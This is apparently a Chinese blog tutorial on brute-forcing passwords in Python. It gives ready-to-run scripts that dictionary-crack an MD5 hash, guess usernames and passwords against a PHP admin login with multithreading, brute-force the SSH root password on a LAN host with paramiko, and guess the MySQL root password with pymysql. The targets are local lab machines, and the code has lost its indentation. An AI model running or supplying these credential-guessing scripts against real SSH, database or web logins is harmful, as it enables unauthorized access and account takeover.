【Python】简单爆破破解 基于python的简单暴力破解

暴力破解是一种针对密码的破译方法,通过逐个推算或使用工具批量验证来找到正确的密码。暴力破解是信息安全领域中一个非常重要的话题。在当今数字化时代,个人信息、企业数据和各种网络服务都依赖于密码来保护安全。因此,破解密码成为黑客获取未经授权访问的重要手段。暴力破解正是其中一种常见且有效的密码破解方法。它的原理很简单,就是通过尝试所有可能的密码组合,直到找到正确的密码。

一、爆破MD5

MD5算法是一种广泛使用的哈希函数,用于生成128位的消息摘要。它接受任意长度的输入,并输出固定长度的哈希值,通常用于验证数据完整性、数字签名、密码存储等领域。MD5算法以其简洁高效的设计和快速计算速度而闻名,但近年来由于其存在一些安全性弱点,逐渐被更安全的哈希算法所取代。MD5是不可逆算法,采用碰撞的方式进行破解。

import hashlib,time,requests
import threading
source = hashlib.md5('456456'.encode()).hexdigest()
def string_md5(source):
 with open ('./password.txt',mode='r') as file:
 password_list = file.readlines()
 with open ('./password_append.txt',mode='r') as file:
 password_list_appent = file.readlines()
 #将两个文件的密码叠加
 password_list.extend(password_list_appent)
 # for password in password_list: 
 # print(password)
#逐个比较
 for password in password_list: 
 if source == hashlib.md5(password.strip().encode()).hexdigest():
 print(f'成功找到,明文为:{password}')
 break
string_md5(source)

二、爆破后台登录页面

Requests 是一个功能强大且易于使用的 HTTP 库,专门用于发送各种 Web 请求和处理响应。它完全满足现代网络爬虫的需求,并且可以用于进行网站模拟请求、数据抓取和自动化测试等任务。使用request进行发包,在request.text的返回内容,从而判断是否登录成功。

构造Mysql数据库创建数据库learn ->创建表user -> user表内容:

构造登录后台代码:login.php

已经用户名ls的情况下,爆破密码 

import hashlib,time,requests
import threading
#已只用户名ls爆破密码
def web_pb():
 url = 'http://127.0.0.1:8082/login.php'
 username = 'ls'
 password = ''
 count = 0
 with open ('./password.txt',mode='r') as file:
 password_list = file.readlines()
 for password in password_list:
 #print(password.strip())
 data = {'username':username,'password':password.strip()}
 resp = requests.post(url=url,data = data)
 #print(resp.text)
 count +=1
 if ('login-sucess' in resp.text):
 print(f'登录成功,密码为{password}',end='')
 print(f'尝试{count}次,成功找到')
web_pb()

 用户名密码未知情况下,用户名和密码一起爆破,采用多线程的方式,一个用户名一个线程

import hashlib,time,requests
import threading
#多线程爆破,一个用户一个线程
def chose_password(username):
 url = 'http://127.0.0.1:8082/login.php'
 username = username
 password = ''
 count = 0
 with open ('./password.txt',mode='r') as file:
 password_list = file.readlines()
 for password in password_list:
 #print(password.strip())
 data = {'username':username,'password':password.strip()}
 resp = requests.post(url=url,data = data)
 #print(resp.text)
 count +=1
 if ('login-sucess' in resp.text):
 print(f'登录成功,用户名{username},密码为{password}',end='')
 print(f'用户名:{username}尝试{count}次,成功找到')
def chose_username():
 with open('username.txt',mode='r') as file:
 username_list = file.readlines()
 for username in username_list:
 threading.Thread(target=chose_password,args=(username.strip(),)).start()
 
chose_username()

考虑用户名过多占用过多线程,5个用户名一个线程

import hashlib,time,requests
import threading
#每个线程负责5个用户
def five_user():
 with open ('./username.txt',mode='r') as file:
 user_list = file.readlines()
 for i in range(0,len(user_list),5):
 sub_user_list = user_list[i:i+5]
 threading.Thread(target=five_pb,args=(sub_user_list,)).start()
def five_pb(sub_user_list):
 url = 'http://127.0.0.1:8082/login.php'
 count = 0
 with open ('./password.txt',mode='r') as file:
 password_list = file.readlines()
 for username in sub_user_list:
 for password in password_list:
 #print(password.strip())
 data = {'username':username,'password':password.strip()}
 resp = requests.post(url=url,data = data)
 #print(resp.text)
 count +=1
 if ('login-sucess' in resp.text):
 print(f'登录成功,用户名{username},密码为{password}',end='')
 print(f'用户名:{username}尝试{count}次,成功找到')
five_user()

三、爆破SSH

Paramiko是一个用于SSHv2协议的Python实现,它提供了客户端和服务器的功能。通过Paramiko,你可以远程连接到SSH服务器并执行命令、上传和下载文件等操作。使用paramiko.connect连接,判断是否可以连接。

import paramiko
def ssh_pb(ip):
 with open('./password.txt',mode='r') as file:
 password_list = file.readlines()
 for passowrd in password_list:
 print(passowrd.strip())
 try:
 transport = paramiko.Transport((ip),22)
 transport.connect(username='root',password=passowrd.strip())
 
 print(f"登录的密码为{passowrd}")
 except:
 pass
ssh_pb('192.168.3.26')

四、爆破Mysql 

PyMySQL是一个流行的Python模块,专门用于连接和操作MySQL数据库。它提供了一个简单而强大的接口,使得开发者能够轻松地在Python程序中执行各种数据库操作,如查询、插入、更新和删除数据等。可以使用pymysql的connection方法来建立连接,测试是否能成功连接数据库。

import pymysql
def mysql_pb():
 with open('./password.txt',mode='r') as file:
 password_list = file.readlines()
 for password in password_list:
 try:
 conn = pymysql.connect(host='127.0.0.1',user='root',passwd=password)
 print(f"密码:{password}")
 except:
 pass
mysql_pb()

每篇一言:永远别放弃一个你每天都在想念的人

作者:抓跟ミgradon原文地址:https://blog.csdn.net/weixin_54799594/article/details/141000725

%s 个评论

要回复文章请先登录注册